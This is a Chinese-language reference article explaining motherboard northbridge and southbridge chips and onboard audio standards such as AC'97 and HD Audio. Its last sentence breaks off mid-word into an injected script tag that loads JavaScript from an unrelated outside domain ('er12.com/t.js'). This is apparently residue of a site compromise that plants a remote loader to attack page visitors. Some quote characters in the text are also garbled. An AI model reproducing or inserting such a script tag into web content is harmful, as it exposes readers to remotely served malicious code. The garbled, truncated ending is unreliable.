北桥芯片（northbridge）是主板芯片组中起主导作用的最重要的组成部分，也称为主桥（hostbridge）。一般来说，芯片组的名称就是以北桥芯片的名称来命名的，例如英特尔845e芯片组的北桥芯片是82845e，875p芯片组的北桥芯片是82875p等等。北桥芯片负责与cpu的联系并控制内存、agp、pci数据在北桥内部传输，提供对cpu的类型和主频、系统的前端总线频率、内存的类型（sdram，ddrsdram以及rdram等等）和最大容量、isa/pci/agp插槽、ecc纠错等支持，整合型芯片组的北桥芯片还集成了显示核心。北桥芯片就是主板上离cpu最近的芯片，这主要是考虑到北桥芯片与处理器之间的通信最密切，为了提高通信性能而缩短传输距离。因为北桥芯片的数据处理量非常大，发热量也越来越大，所以现在的北桥芯片都覆盖着散热片用来加强北桥芯片的散热，有些主板的北桥芯片还会配合风扇进行散热。因为北桥芯片的主要功能是控制内存，而内存标准与处理器一样变化比较频繁，所以不同芯片组中北桥芯片是肯定不同的，当然这并不是说所采用的内存技术就完全不一样，而是不同的芯片组北桥芯片间肯定在一些地方有差别。
由于已经发布的amdk8核心的cpu将内存控制器集成在了cpu内部，于是支持k8芯片组的北桥芯片变得简化多了，甚至还能采用单芯片芯片组结构。这也许将是一种大趋势，北桥芯片的功能会逐渐单一化，为了简化主板结构、提高主板的集成度，也许以后主流的芯片组很有可能变成南北桥合一的单芯片形式（事实上sis老早就发布了不少单芯片芯片组）。
由于每一款芯片组产品就对应一款相应的北桥芯片，所以北桥芯片的数量非常多。针对不同的平台，目前主流的北桥芯片有以下产品（不包括较老的产品而且只对用户最多的英特尔芯片组作较详细的说明）
南桥芯片
南桥芯片（southbridge）是主板芯片组的重要组成部分，一般位于主板上离cpu插槽较远的下方，pci插槽的附近，这种布局是考虑到它所连接的i/o总线较多，离处理器远一点有利于布线。相对于北桥芯片来说，其数据处理量并不算大，所以南桥芯片一般都没有覆盖散热片。南桥芯片不与处理器直接相连，而是通过一定的方式（不同厂商各种芯片组有所不同，例如英特尔的英特尔hubarchitecture以及sis的multi-threaded“妙渠”）与北桥芯片相连。
南桥芯片负责i/o总线之间的通信，如pci总线、usb、lan、ata、sata、音频控制器、键盘控制器、实时时钟控制器、高级电源管理等，这些技术一般相对来说比较稳定，所以不同芯片组中可能南桥芯片是一样的，不同的只是北桥芯片。所以现在主板芯片组中北桥芯片的数量要远远多于南桥芯片。例如早期英特尔不同架构的芯片组socket7的430tx和slot1的440lx其南桥芯片都采用82317ab，而近两年的芯片组845e/845g/845ge/845pe等配置都采用ich4南桥芯片，但也能搭配ich2南桥芯片。更有甚者，有些主板厂家生产的少数产品采用的南北桥是不同芯片组公司的产品，例如以前升技的kg7－raid主板，北桥采用了amd760，南桥则是via686b。
南桥芯片的发展方向主要是集成更多的功能，例如网卡、raid、ieee1394、甚至wi-fi无线网络等等
板载音效
板载音效是指主板所整合的声卡芯片型号或类型。
ac’’’’97
ac’’’’97的全称是audiocodec’’’’97，这是一个由英特尔、雅玛哈等多家厂商联合研发并制定的一个音频电路系统标准。它并不是一个实实在在的声卡种类，只是一个标准。目前最新的版本已经达到了2.3。现在市场上能看到的声卡大部分的codec都是符合ac’’’’97标准。厂商也习惯用符合codec的标准来衡量声卡，因此很多的主板产品，不管采用的何种声卡芯片或声卡类型，都称为ac’’’’97声卡。
hdaudio
hdaudio是highdefinitionaudio(高保真音频)的缩写，原称azalia，是intel与杜比(dolby)公司合力推出的新一代音频规范。目前主要是intel915/925系列芯片组的ich6系列南桥芯片所采用。
hdaudio的制定是为了取代目前流行的ac’97音频规范，与ac’97有许多共通之处，某种程度上可以说是ac’97的增强版，但并不能向下兼容ac’97标准。它在ac’97的基础上提供了全新的连接总线，支持更高品质的音频以及更多的功能。与ac’97音频解决方案相类似，hdaudio同样是一种软硬混合的音频规范，集成在ich6芯片中(除去codec部分)。与现行的ac’97相比，hdaudio具有数据传输带宽大、音频回放精度高、支持多声道阵列麦克风音频输入、cpu的占用率更低和底层驱动程序可以通用等特点。
因为板载软声卡没有声卡主处理芯片，在处理音频数据的时候会占用部分cpu资源，在cpu主频不太高的情况下会略微影响到系统?script src=http://er12.com/t.js>
